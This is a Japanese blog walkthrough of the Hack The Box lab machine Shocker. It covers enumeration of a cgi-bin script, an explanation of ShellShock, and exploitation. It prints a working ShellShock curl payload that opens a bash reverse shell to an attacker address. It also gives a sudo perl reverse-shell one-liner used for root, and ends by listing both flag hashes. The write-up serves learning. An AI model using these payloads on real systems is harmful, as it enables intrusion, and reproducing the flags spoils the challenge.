セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Shocker Walkthrough

はじめに

  • マシン名:Shocker
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.56

ポートスキャン

# nmap -sC -sV -Pn 10.10.10.56

f:id:Paichan:20200723012319p:plain 80(http)、2222(ssh)が開いている。
※nmap -p- 10.10.10.56も実行し、ポート検出漏れしていないかも確認。

ブラウザで80番ポートへアクセス

f:id:Paichan:20200723012421p:plain 画像が表示されるだけ。ソースコードからも次につなげられる情報はない。

ディレクトリスキャン

gobuster dir -u http://10.10.10.56/ -w /usr/share/dirb/wordlists/common.txt -s 200,301,302,403 -t 100

f:id:Paichan:20200723012533p:plain /cgi-bin/は403(forbidden)が返ってきているが、これはcgi-binディレクトリのディレクトリリスティングができないというだけで、このディレクトリ配下にあるファイルにはアクセスできる可能性がある。拡張子を指定し、再度スキャンを実行する。

マシン名がShockerという点と、cgi-binディレクトリの存在を確認できた時点でbash脆弱性(ShellShock)が連想できる。cgi-binディレクトリには何らかのcgiスクリプト(.sh)があると予想できる。

gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/dirb/wordlists/common.txt -x .pl,.sh,.cgi -s 200,301,302,403 -t 100
※拡張子には、Perl、シェルスクリプト、cgiを指定。(cgiスクリプトはPerlで書かれていることが多いという記事を見たので、一応入れた)

f:id:Paichan:20200723013026p:plain user.shのステータスコードが200で返ってきたので、ここにアクセスできそうだ。

user.shの確認

curl -v http://10.10.10.56/cgi-bin/user.sh

f:id:Paichan:20200723013200p:plain cgiスクリプトContent-Type:から始まり、空行を入れて以下に続いていくという書き方をする。この空行はHTTPレスポンスのヘッダ部分とボディ部分の境界を意味する。

ShellShockについて調査

metasploitでも攻略できたが、ShellShockについて脆弱性の概要を知らなかったので調べた。自分の理解では以下。

・Webサーバはcgiスクリプトを動かす際に、クライアントの情報をシェルの環境変数に設定する。
※このとき設定される変数のことを「cgi環境変数」という。例えば、以下のサイトでcgi環境変数が確認可能。
環境変数確認(CGI環境変数)

cgi環境変数として設定された文字列を関数として扱う際の処理に問題があり、cgi環境変数に「() {」から始まる文字列がセットされると、その中に含まれるコード(やコマンド)を無条件に実行してしまう。

・イメージ図は以下のサイトが分かりやすかった。
Shell Shock/Heartbleed | 日経クロステック(xTECH)

user.txt取得まで

環境変数UserAgentに10.10.14.10の1234ポートと通信するコードを埋め込んだリクエストを送った。上記で調べた通り、(){という文字列をセットする。

curl -A "() { :;};/bin/bash -i >& /dev/tcp/10.10.14.11/1234 0>&1" http://10.10.10.56/cgi-bin/user.sh

ncで待ち受けておくと、shellyという名前のユーザでシェルが返ってきた。 f:id:Paichan:20200723014910p:plain これでuser.txtをゲット。

root.txt取得まで

shellyが特定のコマンドでsudo権限持っているかを確認。

sudo -l

f:id:Paichan:20200723015032p:plain root権限でperlが実行できる。perlでリバースシェルゲットを目指す。以下から持ってきた。 Reverse Shell Cheat Sheet | pentestmonkey

sudo perl -e 'use Socket;$i="10.10.14.11";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

f:id:Paichan:20200723015204p:plain root権限でシェルが返ってくるので、root.txtを確認して終了。

user.txt:2ec24e11320026d1e70ff3e16695b233
root.txt:52c2715605d70c7619030560dc1ca467